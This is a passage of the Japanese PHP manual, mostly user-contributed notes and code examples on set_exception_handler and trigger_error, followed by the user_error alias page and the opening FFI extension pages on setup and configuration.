                // Handle exception here.
            }
        }
    ?>

NOTE: these methods must match the callbacks parameters signatures. I put
dev at codesatori dot com 21-Nov-2016 03:51
For those of you wanting to convert PHP errors to ErrorExceptions (useful), but frustrated with the script being halted on every E_NOTICE et al. In your error handler, simply create the ErrorException, and then either throw it (script halted), or pass the object directly (script continues) to your exception handler function.

<?php
const EXIT_ON_ALL_PHP_ERRORS = false; // or true

function proc_error($errno, $errstr, $errfile, $errline)
{
    $e = new ErrorException($errstr, 0, $errno, $errfile, $errline);

    if (EXIT_ON_ALL_PHP_ERRORS) {
        throw $e; // This will halt your script.
    } else {
        proc_exception($e); // This will let it continue.
    }
}

set_error_handler("proc_error");
set_exception_handler("proc_exception");
?>

You could further customize the error severity level (from $errno, match bitmasks with error level constants) at which the script is halted or allowed to continue. The above simply allows passthru for PHP errors' default behavior.

If your exception handler is receiving both error ErrorExceptions (with severity level etc.) and other types of uncaught Exceptions, then use a <?php if ($e instanceof ErrorException) { // ... } ?> condition to deal with the variance. I had to further wrap it into a <?php try { $errno = $e->getSeverity(); } catch (Exception $x) { $errno = 0 } ... ?>, because some EE-s were mysteriously lacking the severity level property (yet to dig in and find out why).
Josef Spak 22-Sep-2014 10:34
On GNU/Linux, When an exception handler is called, PHP will end with exit status code 0 instead of 255.

You can change the exit status code with an exit() call at the end of your custom error handler.
Anonymous 08-Mar-2014 11:42
By default the stack trace is pretty unreadable, so you might want to wrap it in <pre> tags. Here I also wrap it in a <div> and set the class 'alert alert-danger' which are CSS classes in the Bootstrap CSS framework to style them red.
<?php

function exception_handler($exception) {
  echo '<div class="alert alert-danger">';
  echo '<b>Fatal error</b>:  Uncaught exception \'' . get_class($exception) . '\' with message ';
  echo $exception->getMessage() . '<br>';
  echo 'Stack trace:<pre>' . $exception->getTraceAsString() . '</pre>';
  echo 'thrown in <b>' . $exception->getFile() . '</b> on line <b>' . $exception->getLine() . '</b><br>';
  echo '</div>';
}

set_exception_handler('exception_handler');
Anonymous 25-Feb-2013 08:51
As of PHP 5.4.11....

Instead of:

Output: Fatal error: Exception thrown without a stack frame in Unknown on line 0

This snippet:

<?php
function error_handler($code, $message, $file, $line)
{
    if (0 == error_reporting())
    {
        return;
    }
    throw new ErrorException($message, 0, $code, $file, $line);
}
function exception_handler($e)
{
    // ... normal exception stuff goes here
    print $undefined; // This is the underlying problem
}
set_error_handler("error_handler");
set_exception_handler("exception_handler");
throw new Exception("Just invoking the exception handler");
?>

Now returns:

Fatal error: Uncaught exception 'ErrorException' with message 'Undefined variable: undefined' in C:\Apache2\htdocs\error\test.php:13 Stack trace: #0 C:\Apache2\htdocs\error\test.php(13): error_handler(8, 'Undefined varia...', 'C:\Apache2\htdo...', 13, Array) #1 [internal function]: exception_handler(Object(Exception)) #2 {main} thrown in C:\Apache2\htdocs\error\test.php on line 13

So it appears that exceptions thrown within exception handler now bypass exception handler.
pinkgothic at gmail dot com 01-Jun-2010 02:30
If you're handling sensitive data and you don't want exceptions logging details such as variable contents when you throw them, you may find yourself frustratedly looking for the bits and pieces that make up a normal stack trace output, so you can retain its legibility but just alter a few things. In that case, this may help you:

<?php

function exceptionHandler($exception) {

    // these are our templates
    $traceline = "#%s %s(%s): %s(%s)";
    $msg = "PHP Fatal error:  Uncaught exception '%s' with message '%s' in %s:%s\nStack trace:\n%s\n  thrown in %s on line %s";

    // alter your trace as you please, here
    $trace = $exception->getTrace();
    foreach ($trace as $key => $stackPoint) {
        // I'm converting arguments to their type
        // (prevents passwords from ever getting logged as anything other than 'string')
        $trace[$key]['args'] = array_map('gettype', $trace[$key]['args']);
    }

    // build your tracelines
    $result = array();
    foreach ($trace as $key => $stackPoint) {
        $result[] = sprintf(
            $traceline,
            $key,
            $stackPoint['file'],
            $stackPoint['line'],
            $stackPoint['function'],
            implode(', ', $stackPoint['args'])
        );
    }
    // trace always ends with {main}
    $result[] = '#' . ++$key . ' {main}';

    // write tracelines into main template
    $msg = sprintf(
        $msg,
        get_class($exception),
        $exception->getMessage(),
        $exception->getFile(),
        $exception->getLine(),
        implode("\n", $result),
        $exception->getFile(),
        $exception->getLine()
    );

    // log or echo as you please
    error_log($msg);
}

?>

If you're not a fan of sprintf() or the duplicate $exception->getFile() and $exception->getLine() calls you can of course replace that as you like - consider this a mere compilation of the parts.
Anonymous 16-Dec-2009 06:12
Things you should be aware of:

An exception handler handles exceptions that were not caught before. It is the nature of an exception that it discontinues execution of your program - since it declares an exceptional situation in which the program cannot continue (except you catch it).

Since it has not been catched your code signals it is not being aware of the situation and cant go on.

This implies: returning to the script is simply impossible when the exception handler has already been called, since an uncaught exception is not a notice. use your own debug- or notice-log-system for things like that.

Furthermore: While is is still possible to call functions from your script, since the exception handler has already been called exceptions bubbling from that piece of code won't trigger the exception handler again. php will die without leaving any information apart form "uncaught exception with unknown stack frame". So if you call functions from your script, make sure that you catch any exceptions that possibly occur via try..catch inside the exception handler.

For those of you who misinterpreted the essential meaning of the exception handler: it's only use is to handle the abortion of your script gracefully, e.g. in a project like facebook or wikipedia: render a nice error page, eventually hiding information which shall not leak into the public (instead you may want to write to your log or mail the sys-admin or stuff like that).

In other words: Redirecting all php-errors form an error-handler using exceptions - including notices - is a very dumb idea, if you do not intend having your script aborted everytime you didn't set a variable (for example).

my 2 cents.
Anonymous 10-Dec-2009 06:09
When an uncaught exception is handled, execution does NOT return to the script, but rather (unexpectedly, on my end anyway) terminates.

I am using set_error_handler() and set_exception_handler() in conjunction for a system I am currently developing (on v5.3.0 with Xampp). Lets say two E_USER_NOTICES are triggered, the script will die after the first one is processed.

<?php
    set_exception_handler( 'exc_handler' );
    function exc_handler($exception) {
        echo "Uncaught exception: " , $exception->getMessage(), "\n";
    }
    function errorone() {
        throw new Exception("Test 1");
    }
    function errortwo() {
        throw new Exception("Test 2");
    }
    function test() {
        errorone();
        errortwo();
    }
    test();
    test();
?>

Instead of printing (as I'd expect) "Uncaught exception: Text 1\nUncaught exception: Text 2\nUncaught exception: Text 1\nUncaught exception: Text 2\n"

It is only printed ONCE. I've tried a number of different things, but I can't figure out how to return execution to the script after the EXCEPTION HANDLER has run.

If anyone has a solution on how to return execution (hence, allow the script to log uncaught exceptions but continue processing) then PLEASE email me! Thanks!
joshua dot boyle-petrie at its dot monash dot edu 08-Jan-2009 11:44
Thanks to mastabog we know that throwing an exception within the exception handler will trigger a fatal error and a debugging nightmare.  To avoid throwing an exception within there should be easy.

However, if you use a custom error handler to convert errors to ErrorExceptions suddenly there are a multitude of new ways to accidentally throw exceptions within the exception handler.

<?php
function error_handler($code, $message, $file, $line)
{
    if (0 == error_reporting())
    {
        return;
    }
    throw new ErrorException($message, 0, $code, $file, $line);
}
function exception_handler($e)
{
    // ... normal exception stuff goes here
    print $undefined; // This is the underlying problem
}
set_error_handler("error_handler");
set_exception_handler("exception_handler");
throw new Exception("Just invoking the exception handler");
?>
Output: Fatal error: Exception thrown without a stack frame in Unknown on line 0

The best way I have found to avoid this is to wrap up everything in the exception handler in a try/catch block.
<?php
function exception_handler($e)
{
    try
    {
        // ... normal exception stuff goes here
        print $undefined; // This is the underlying problem
    }
    catch (Exception $e)
    {
        print get_class($e)." thrown within the exception handler. Message: ".$e->getMessage()." on line ".$e->getLine();
    }
}
?>
Output: ErrorException thrown within the exception handler. Message: Undefined variable: undefined on line 14

This speeds up debugging and offers some scalability to any other exceptions accidentally thrown within the exception handler.

Another solution is to restore the error handler at the beginning of the exception handler.  While this is a silver bullet in terms of avoiding the ErrorExceptions, debugging messages then rely on the error_reporting() level and the display_errors directive.  Why mention this?  It might be preferable for production code since we care more about hiding errors from users than convenient debugging messages.
marques at displague dot com 14-Apr-2008 07:19
frank,

Your exception handler is configured to be the handler for all exceptions, yet if a basic 'Exception' is thrown, your static method will error because 'Exception's do not have 'getException'.  Because of this I don't see a real purpose to making the uncaught handler a class that extends Exception.

I do like the idea of using static methods of a general Exception handling class.

<?php
class ExceptionHandler {
    public static function printException(Exception $e)
    {
        print 'Uncaught '.get_class($e).', code: ' . $e->getCode() . "<br />Message: " . htmlentities($e->getMessage())."\n";
    }

    public static function handleException(Exception $e)
    {
         self::printException($e);
    }
}

set_exception_handler(array("ExceptionHandler", "handleException"));

class NewException extends Exception {}
try {
  throw new NewException("Catch me once", 1);
} catch (Exception $e) {
  ExceptionHandler::handleException($e);
}

throw new Exception("Catch me twice", 2);
?>

Gives:
Uncaught NewException, code: 1<br />Message: Catch me once
Uncaught Exception, code: 2<br />Message: Catch me twice

There are much more interesting things that can be done like reformating and optionally displaying or emailing them.  But this class acts a nice container for those functions.
frank at netventures dot com dot au 05-Nov-2007 10:10
Hey all, i've just started to use the exception suite instead of the normal PHP error suite. For those of you looking for an object orientated way to do this without looking down at Glen and Sean's examples (Lesson 1: ALWAYS read the logs!), here you go:

<?php

class NewException extends Exception
{
    public function __construct($message, $code=NULL)
    {
        parent::__construct($message, $code);
    }

    public function __toString()
    {
        return "Code: " . $this->getCode() . "<br />Message: " . htmlentities($this->getMessage());
    }

    public function getException()
    {
        print $this; // This will print the return from the above method __toString()
    }

    public static function getStaticException($exception)
    {
         $exception->getException(); // $exception is an instance of this class
    }
}

set_exception_handler(array("NewException", "getStaticException"));
throw new NewException("Catch me!!!", 69);

?>

Let me know if i'm missing something obvious as I left my glasses at home and I just came back from the Melbourne cup (If I won then I wouldn't be at work still!).
parazuce at gmail dot com 09-Jul-2007 03:41
I've been messing around with this function, and have noticed you can pass an anonymous function (created with create_function()) through as the default handler, for example:

set_exception_handler(create_function('$e', 'exit("An unknown error occurred");'));

That snippet of code can be used if you simply want to suppress all exceptions that are not handled.  This can be a great thing, because secure data could possibly be leaked otherwise (for example, the default exception handler could output a snippet of your SQL code that was involved with the exception being thrown).

You will want to use this wisely, however (if at all).
reg dot php dot manual at entropy dot ch 09-May-2007 06:59
In my experience, the static keyword is crucial for error handlers which are methods of a class instead of free-standing functions.

    static function exceptionHandler($exception)

works but

    function exceptionHandler($exception)

doesn't and results in a "Fatal error: Exception thrown without a stack frame in Unknown on line 0" message.

"public" is optional as it is the default anyway (but it is probably clearer to write it explicitly).
Glen 03-Mar-2007 12:34
If you want a class instance to handle the exception, this is how you do it :

<?php
class example {
   public function __construct() {
       @set_exception_handler(array($this, 'exception_handler'));
       throw new Exception('DOH!!');
   }

   public function exception_handler($exception) {
       print "Exception Caught: ". $exception->getMessage() ."\n";
   }
}

$example = new example;

?>

See the first post (Sean's) for a static example.  As Sean points out, the exception_handler function must be declared public.
mastabog at hotmail dot com 08-Aug-2006 07:44
A behaviour not documented or discussed enough, yet pretty common is that is that if an exception is thrown from the global exception handler then a fatal error occurs (Exception thrown without a stack frame). That is, if you define your own global exception handler by calling set_exception_handler() and you throw an exception from inside it then this fatal error occurs. It is only natural though, as the callback defined by set_exception_handler() is only called on uncaught (unhandled) exceptions so if you throw one from there then you get this fatal error as there is no exception handler left (you override the php internal one by calling set_exception_handler()), hence no stack frame for it.

Example:

<?php

function myExceptionHandler (Exception $ex)
{
    throw $ex;
}

set_exception_handler("myExceptionHandler");

throw new Exception("This should cause a fatal error and this message will be lost");

?>

Will cause a Fatal error: Exception thrown without a stack frame

If you skip/comment the set_exception_handler("...") line then the internal PHP global handler will catch the exception and output the exception message and trace (as string) to the browser, allowing you to at least see the exception message.

While it is a very good idea to always define your own global exception handler by using the set_exception_handler() function, you should pay attention and never throw an exception from it (or if you do then catch it).

Finally, every serious coder should use an IDE with debugging capabilities. Tracking down an error like this becomes a trivial matter by using simple debugging "Step into" commands (I for one recommend Zend IDE v5.2 at the moment of this writing). I have seen numerous messages on the internet with people wondering why this message pops up.

Cheers

p.s. Other causes for this error which are somehow unrelated to this is when you throw an exception from a destructor (the reasons behind that are similar though, the global handler might no longer exist due to the php engine shutting the page down).
mc-php-doco at oak dot homeunix dot org 07-Apr-2006 09:41
This seems not to work when calling the PHP binary with the '-r' flag.

For example, if I run it like this:

    php -r '
      function exception_handler($exception) {
        echo "Uncaught exception: " , $exception->getMessage(), "\n";
      }

      set_exception_handler("exception_handler");

      throw new Exception("Uncaught Exception");
      echo "Not Executed\n";
    '

Or if I place it in a file and run it like this:

    php -r 'include "./tmp.php";'

I get a stack trace instead of having the function 'exception_handler' called.  If run it like this:

    php tmp.php

It works fine.

(Why run code from '-r'?  Sometimes it's useful to add stuff around the include like calls to microtime for benchmarks, or to include a library and then call a few functions from the library, all in an ad-hoc way without having to create new files.)

PHP versions 5.1.2 and 5.0.4.
ch at westend dot com 21-Feb-2006 07:06
It seems that although the Exception contains a backtrace itself, the stack for the debug_backtrace() function is empty when entering an exception handler. This is very inconvinient. See bug #36477.
sean at seanodonnell dot com 23-Oct-2005 04:48
Using the 'set_exception_handler' function within a class, the defined 'exception_handler' method must be declared as 'public' (preferrable 'public static' if you use the "array('example', 'exception_handler')" syntax).

<?php
class example {
    public function __construct() {
        @set_exception_handler(array('example', 'exception_handler'));
        throw new Exception('DOH!!');
    }

    public static function exception_handler($exception) {
        print "Exception Caught: ". $exception->getMessage() ."\n";
    }
}

$example = new example;

echo "Not Executed\n";
?>

Declaring the 'exception_handler' function as 'private' causes a FATAL ERROR.

[derick: red. updated statement about static a bit]


ユーザーレベルのエラー/警告/通知メッセージを生成する

  • ≪ set_exception_handler
  • user_error ≫
  • PHP Manual
  • エラー処理関数
  • ユーザーレベルのエラー/警告/通知メッセージを生成する

trigger_error

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

trigger_error — ユーザーレベルのエラー/警告/通知メッセージを生成する

説明

trigger_error ( string $error_msg , int $error_type = E_USER_NOTICE ) : bool

ユーザーエラーを発生させるために使います。組み込みのエラーハンドラまたは新しいエラーハンドラ (set_error_handler()) として設定済みのユーザー定義関数と組み合わせて使うこともできます。

この関数は、実行時の例外に特定の応答を生成する必要がある場合に便利です。

パラメータ

error_msg

このエラーに割り当てられたメッセージ。長さは最大 1024 バイトまでです。1024 バイトを超える部分は切り捨てられます。

error_type

このエラーに割り当てられたエラー型です。E_USER 関連の定数のみが指定可能で、デフォルトは E_USER_NOTICE です。

返り値

この関数は、間違った error_type が指定された場合に false を、それ以外の場合に true を返します。

例

例1 trigger_error() の例

より拡張した例については set_error_handler() を参照ください。

<?php
if ($divisor == 0) {
    trigger_error("ゼロで割ることはできません", E_USER_ERROR);
}
?>

注意

警告

error_msg の HTML エンティティはエスケープされません。エラーをブラウザに表示するのであれば、メッセージに htmlentities() を使います。

参考

  • error_reporting() - 出力する PHP エラーの種類を設定する
  • set_error_handler() - ユーザー定義のエラーハンドラ関数を設定する
  • restore_error_handler() - 以前のエラーハンドラ関数を回復する
  • エラーレベル定数

User Contributed Notes

spravce at jednota dot podborany dot cz 10-Oct-2019 10:18
Trigger error does not trim  1024+ chars length messages if you use your own error handler
eslindsey at gmail dot com 07-Feb-2016 08:58
For those of you wanting one (or more) lines of context on your call to trigger_error, I offer this. Would be nice to use \n to get a proper stack trace, but it seems trigger_error escapes it; therefore, I use a comma.

<?php
/**
 * Behaves like trigger_error, but appends part of a stack trace to the error
 * message. This allows you to see where trigger_error was called from, instead
 * of just seeing the file and line number of the call to trigger_error.
 *
 * @param   error_msg   The designated error message for this error
 * @param   error_type  The designated error type for this error (E_USER_*)
 * @param   context     Number of stack frames to append, defaults to 1
 * @return  FALSE if wrong error_type is specified, TRUE otherwise
 */
function trigger_error_with_context($error_msg, $error_type, $context = 1) {
    $stack = debug_backtrace();
    for ($i = 0; $i < $context; $i++)
    {
        if (false === ($frame = next($stack))
            break;
        $error_msg .= ", from " . $frame['function'] . ':' . $frame['file'] . ' line ' . $frame['line'];
    }
    return trigger_error($error_msg, $error_type);
}
?>
aydin dot kn12 at gmail dot com 20-Jun-2014 07:48
If error_type is E_USER_ERROR then trigger_error throw FATAL ERROR and script stopped after this line.

<?php

$msg = 'This is the test message for echo';

trigger_error('Error message', E_USER_ERROR); // Script stopped after this line...

echo $msg; // This line does not appear...

?>
PhpMyCoder 15-Jul-2010 03:18
For those of you looking to use your own file or line number in the error (possibly using debug_backtrace()) instead of the ones created by trigger_error(), here is a solution:
Create a custom function to handle E_USER_ERRORs that simply outputs the error type and message, while excluding the line number and file trigger_error() reports. You may also configure it to handle user warnings and notices if necessary (I did in the example below).

<?php
function error_handler($level, $message, $file, $line, $context) {
    //Handle user errors, warnings, and notices ourself
    if($level === E_USER_ERROR || $level === E_USER_WARNING || $level === E_USER_NOTICE) {
        echo '<strong>Error:</strong> '.$message;
        return(true); //And prevent the PHP error handler from continuing
    }
    return(false); //Otherwise, use PHP's error handler
}

function trigger_my_error($message, $level) {
    //Get the caller of the calling function and details about it
    $callee = next(debug_backtrace());
    //Trigger appropriate error
    trigger_error($message.' in <strong>'.$callee['file'].'</strong> on line <strong>'.$callee['line'].'</strong>', $level);
}

//Use our custom handler
set_error_handler('error_handler');

//-------------------------------
//Demo usage:
//-------------------------------
function abc($str) {
    if(!is_string($str)) {
        trigger_my_error('abc() expects parameter 1 to be a string', E_USER_ERROR);
    }
}

abc('Hello world!'); //Works
abc(18); //Error: abc() expects parameter 1 to be a string in [FILE].php on line 31
?>

This is a pretty simple concept and I'm sure most of you know this, but for those that don't, let it serve as a good example!
tudor AT iccblue DOT com DOT nospam 15-Oct-2009 08:07
It actually turns out - at least on PHP 5.2.6 on XAMPP (Windows) that for the custom error handler, you will need to set $errorType as the first parameter, and only the second parameter as $message, i.e. in reverse order compared to how the manual states it now.
Howard Yeend 05-Jul-2009 04:39
trigger_error always reports the line and file that trigger_error was called on. Which isn't very useful.

eg:

main.php:
<?php
include('functions.php');
$x = 'test';
doFunction($x);
?>

functions.php:
<?php
function doFunction($var) {
if(is_numeric($var)) {
 /* do some stuff*/
} else {
 trigger_error('var must be numeric');
}
}
?>

will output "Notice: var must be numeric in functions.php on line 6"
whereas "Notice: var must be numeric in main.php on line 4" would be more useful

here's a function to do that:

<?php

function error($message, $level=E_USER_NOTICE) {
$caller = next(debug_backtrace());
trigger_error($message.' in <strong>'.$caller['function'].'</strong> called from <strong>'.$caller['file'].'</strong> on line <strong>'.$caller['line'].'</strong>'."\n<br />error handler", $level);
}
?>

So now in our example:

main.php:
<?php
include('functions.php');
$x = 'test';
doFunction($x);
?>

functions.php:
<?php
function doFunction($var) {
    if(is_numeric($var)) {
         /* do some stuff*/
    } else {
         error('var must be numeric');
    }
}

function error($message, $level=E_USER_NOTICE) {
    $caller = next(debug_backtrace());
    trigger_error($message.' in <strong>'.$caller['function'].'</strong> called from <strong>'.$caller['file'].'</strong> on line <strong>'.$caller['line'].'</strong>'."\n<br />error handler", $level);
}
?>

now outputs:

"Notice: var must be numeric in doFunction called from main.php on line 4"
webmaster at paramiliar dot com 03-Jan-2008 11:11
We wanted to be able to pass an SQL query to the error handler on our site so we could monitor SQL problems, you cant do this through normal methods so we came up with this bridge script that 100% works

<?php

function myErrorHandler($errno, $errstr, $errfile, $errline){
    switch ($errno) {
    case E_USER_ERROR:
        if ($errstr == "(SQL)"){
            // handling an sql error
            echo "<b>SQL Error</b> [$errno] " . SQLMESSAGE . "<br />\n";
            echo "Query : " . SQLQUERY . "<br />\n";
            echo "On line " . SQLERRORLINE . " in file " . SQLERRORFILE . " ";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        } else {
            echo "<b>My ERROR</b> [$errno] $errstr<br />\n";
            echo "  Fatal error on line $errline in file $errfile";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        }
        exit(1);
        break;

    case E_USER_WARNING:
    case E_USER_NOTICE:
    }
    /* Don't execute PHP internal error handler */
    return true;
}

// function to test the error handling

function sqlerrorhandler($ERROR, $QUERY, $PHPFILE, $LINE){
    define("SQLQUERY", $QUERY);
    define("SQLMESSAGE", $ERROR);
    define("SQLERRORLINE", $LINE);
    define("SQLERRORFILE", $PHPFILE);
    trigger_error("(SQL)", E_USER_ERROR);
}

set_error_handler("myErrorHandler");

// trigger an sql error
$query = "SELECT * FROM tbl LIMIT 1";
$sql = @mysql_query($query)
    or sqlerrorhandler("(".mysql_errno().") ".mysql_error(), $query, $_SERVER['PHP_SELF'], __LINE__);

?>
richard at 2006 dot atterer dot net 03-Apr-2006 09:28
Beware, trigger_error() is absolutely useless for transporting your own function's error messages in $php_errormsg:

ini_set('track_errors', TRUE);
function x() { trigger_error('MY ERROR'); }
@x();
echo "Error 1: \\"$php_errormsg\\"\\n";
@file_get_contents('/nonexisting');
echo "Error 2: \\"$php_errormsg\\"\\n";

This outputs:

Error 1: ""
Error 2: "failed to open stream: No such file or directory"

This behaviour is consistent with the description of $php_errormsg, which says that the variable will only be available within the scope in which the error occurred. The problem can be worked around with a custom error handler like the one below. However, I'm undecided whether changing the language in this way is good:

function errHandler($errno, $errstr, $errfile, $errline) {
  global $php_errormsg; $php_errormsg = $errstr;
}
set_error_handler('errHandler');
mano at easymail dot hu 26-Apr-2005 05:13
I am not so familiar with this but I think you can reach some of the functionality of try..catch with this function. I would disagree or correct the previous note. The @ is not the catch, it sets the error_reporting to 0 tempolary but with set_error_handler you can try to imitate some behavior like catch.
I've just made this to try if it possible, I never tried in projects but I think could work in php 4. Actually if you want to have the Trace of the error you need to use php4.3+.
Maybe not many of you will create new scripts in php4 and try to have some features from php5 but in some cases (extending older projects) this could be better error handling.

If this is a wrong approach, waiting for comments, if its not, use it!

<?
function catch($errno, $errstr, $errfile, $errline){
    $GLOBALS['throw'] = $errstr;
    $GLOBALS['throw_info'] = array(
        'Message'=>$errstr
        ,'Code'=>$errno
        ,'Line'=>$errline
        ,'File'=>$errfile
        ,'Trace'=>debug_backtrace()
    );

}
set_error_handler('catch');

function badgirl(){
    if(true){ //error occure
        trigger_error("BadGirlWithError",E_USER_NOTICE); // as throw with notice
        return; // ...because trigger_error does not stop the function
    }else{
       return true;
    }
}

// Try
$GLOBALS['throw'] = null; // ...try...
$sheis = badgirl(); //could be @badgirl, display_errors is something else, this just the handling
// ..try
if($GLOBALS['throw']){  // This actually catch re-throws too...
    switch($GLOBALS['throw']){ // Catch
        case 'GoodGirlException':
            die('No bad girl today!');
        break;
        case 'BadGirlWithError':
            die('Bad girl has some error');
        break;
        default:
            return; // or you can make another trigger_error and re-throw another 'exception' or some other action
    }
}
echo "You will never see this line - @ only supress message, not a control flow";
echo "Wrong! You could see this:)";

?>

.mano
dzn'tM@ter 20-Jan-2004 09:05
Some might think that trigger_error is like a throw() or an err.raise construction, and @ works like catch(){} one - in fact it's NOT.

function badgirl(){
    trigger_error("shame on me",E_USER_ERROR);
    return true;
}

$sheis = @badgirl();
echo "You will never see this line - @ only supress message, not a control flow";
robert at klugher dot com 23-Sep-2003 05:12
This one took me some time ...

When you use trigger_error with your own error handler, the class instances are destroyed (don't know how to say it better, I am not an expert).

So, if you try to call a class function from within the error handler function, you will get 'Call to a member function on a non-object' error, even if this function works perfectly in the rest of your script.

Solution : re-use the xxx = new yyy to re-create the instance in the beginning of your error handler ... and then you can call the class functions you want !
mail at dooley dot cjb dot net 29-Jul-2003 07:16
i recently began using a custom error handling class. the biggest problem is that, with call time pass by reference deprecated, you can't manipulate the error handler class after assigning at as the error handler (and it appears not to be returned by the set_error_handler method as the old error handler). my goal was to be able to store up all my non-fatal errors and print them at the end of script execution. that way i can use 'trigger_error' (which i actually have wrapped in a static method ErrorHandler::throwException for portability purposes... which is a pain because it always has the same line number information!!) for all kinds of errors, including user input erros. so when i check a user's password, for instance i would trigger a warning that said 'incorrect password'. of course i would only want this to print out the error once the script had completed.

so in my error handler class i have the following in the constructor:

function ErrorHandler()
{
    $this->error_messages  = array();
    error_reporting (E_ALL);
    set_error_handler(array($this,"assignError"));
}

and my assignError method:
//accept the required arguments
function assignError($errno, $errstr, $errfile, $errline)
{
    //get the error string
    $error_message = $errstr;
//if in debug mode, add line number and file info
 if(ErrorHandler::DEBUG())
 $error_message .= "<br>".basename($errfile).",line: ".$errline;

            switch ($errno)
            {
                //if the error was fatal, then add the error
                //display an error page and exit
                case ErrorHandler::FATAL():
                    $this->setType('Fatal');
                    $this->addError($error_message);
                    Display::errorPage($this->errorMessages());
                    exit(1);
                break;
                //if it was an error message, add a message of
                //type error
                case ErrorHandler::ERROR():
                    $this->setType('Error');
                    $this->addError($error_message);
                break;
                //if it was a warning, add a message of type
                //warning
                case ErrorHandler::WARNING():
                    $this->setType('Warning');
                    $this->addError($error_message);
                break;
                //if it was some other code then display all
                //the error messages that were added
                default:
                    Display::errorRows($this->errorMessages());
                break;
            }
            //return a value so that the script will continue
            //execution
            return 1;
}

the key part there is the 'default' behaviour. i found that if i call trigger_error with anything other than E_USER_ERROR, E_USER_WARNING or E_USER_NOTICE, then error code '2' is passed to the handler method. so when it is time to print all my non-fatal errors, like 'password and confirm password don't match' or something, i call ErrorHandler::printAllErrors()

        function printAllErrors()
        {
            trigger_error("",2);
        }

which leads to the default behaviour in my switch statement in the assignError method above. the only problem with this is that the weird bug 'Problem with method call' that occurs with some static method calls (that one person on the bug lists said was fixed and another said wouldn't be fixed until version 5) also produces error code 2!! i have just taken to suppressing these errors with @, because despite the alledged problem with the method call, the script still seems to execute fine.

iain.
someone at attbi dot com 23-May-2003 09:24
the idea is never to give out file names, line numbers, and cryptic codes to the user. Use trigger_error() after you used set_error_handler() to register your own callback function which either logs or emails the error codes to you, and echo a simple friendly message to the user.

And turn on a more verbose error handler function when you need to debug your scripts. In my init.php scripts I always have:

if (_DEBUG_) {
    set_error_handler ('debug_error_handler');
}
else {
    set_error_handler ('nice_error_handler');
}
sl0th at r00thell dot ath dot cx 20-May-2003 07:25
Well this is a good way on debuging your php scripts, but i wouldn't feel
too comfortable by giving out my web servers structure.
Notice that what helps you finding and isolating errors in your php helps also a potential attacker.
Or maybe i am just paranoid, but its worth mention it.
ceo at l-i-e dot com 28-Oct-2002 05:20
You should be using set_error_handler (possibly in conjuction with error_log and/or trigger_error) if you want FILE and LINE number information.
You don't need macros for this.


trigger_error のエイリアス

  • ≪ trigger_error
  • FFI ≫
  • PHP Manual
  • エラー処理関数
  • trigger_error のエイリアス

user_error

(PHP 4, PHP 5, PHP 7, PHP 8)

user_error — trigger_error() のエイリアス

説明

この関数は次の関数のエイリアスです。 trigger_error().

User Contributed Notes

There are no user contributed notes for this page.


Foreign Function Interface

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • Basic FFI usage
    • PHP Callbacks
    • A Complete PHP/FFI/preloading Example
  • FFI — Main interface to C code and data
    • FFI::addr — Creates an unmanaged pointer to C data
    • FFI::alignof — Gets the alignment
    • FFI::arrayType — Dynamically constructs a new C array type
    • FFI::cast — Performs a C type cast
    • FFI::cdef — Creates a new FFI object
    • FFI::free — Releases an unmanaged data structure
    • FFI::isNull — Checks whether a FFI\CData is a null pointer
    • FFI::load — Loads C declarations from a C header file
    • FFI::memcmp — Compares memory areas
    • FFI::memcpy — Copies one memory area to another
    • FFI::memset — Fills a memory area
    • FFI::new — Creates a C data structure
    • FFI::scope — Instantiates an FFI object with C declarations parsed during preloading
    • FFI::sizeof — Gets the size of C data or types
    • FFI::string — Creates a PHP string from a memory area
    • FFI::type — Creates an FFI\CType object from a C declaration
    • FFI::typeof — Gets the FFI\CType of FFI\CData
  • FFI\CData — C Data Handles
  • FFI\CType — C Type Handles
  • FFI\Exception — FFI Exceptions
  • FFI\ParserException — FFI Parser Exceptions

User Contributed Notes

There are no user contributed notes for this page.


はじめに

警告

この拡張モジュールは、 実験的 なものです。この拡張モジュールの動作・ 関数名・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 このモジュールは自己責任で使用してください。

This extension allows the loading of shared libraries (.DLL or .so), calling of C functions and accessing of C data structures in pure PHP, without having to have deep knowledge of the Zend extension API, and without having to learn a third "intermediate" language. The public API is implemented as a single class FFI with several static methods (some of them may be called dynamically), and overloaded object methods, which perform the actual interaction with C data.

警告

FFI is dangerous, since it allows to interface with the system on a very low level. The FFI extension should only be used by developers having a working knowledge of C and the used C APIs. To minimize the risk, the FFI API usage may be restricted with the ffi.enable php.ini directive.

注意:

The FFI extension does not render the classic PHP extension API obsolete; it is merely provided for ad-hoc interfacing with C functions and data structures.

ヒント

Currently, accessing FFI data structures is significantly (about 2 times) slower than accessing native PHP arrays and objects. Therefore, it makes no sense to use the FFI extension for speed; however, it may make sense to use it to reduce memory consumption.

User Contributed Notes

There are no user contributed notes for this page.


要件

This extension requires the » libffi library to be installed.

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

To enable the FFI extension, PHP has to be configured with --with-ffi.

Windows users have to include php_ffi.dll into php.ini to enable the FFI extension.

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

FFI 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
ffi.enable | "preload" | PHP_INI_SYSTEM |
ffi.preload | "" | PHP_INI_SYSTEM |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

ffi.enable string

Allows enabling ("true") or disabling ("false") FFI API usage, or restricting it only to the CLI SAPI and preloaded files ("preload").

The FFI API restrictions only affect the FFI class, but not overloaded functions of FFI\CData objects. This means that it is possible to create some FFI\CData objects in preloaded files, and then to use these directly in PHP scripts.

ffi.preload string

Allows preloading of FFI bindings during startup, which is not possible with FFI::load() if opcache.preload_user is set. This directive accepts a DIRECTORY_SEPARATOR delimited list of filenames. The preloaded bindings can be accessed by calling FFI::scope().

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

定数は定義されていません。

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • Basic FFI usage
  • PHP Callbacks
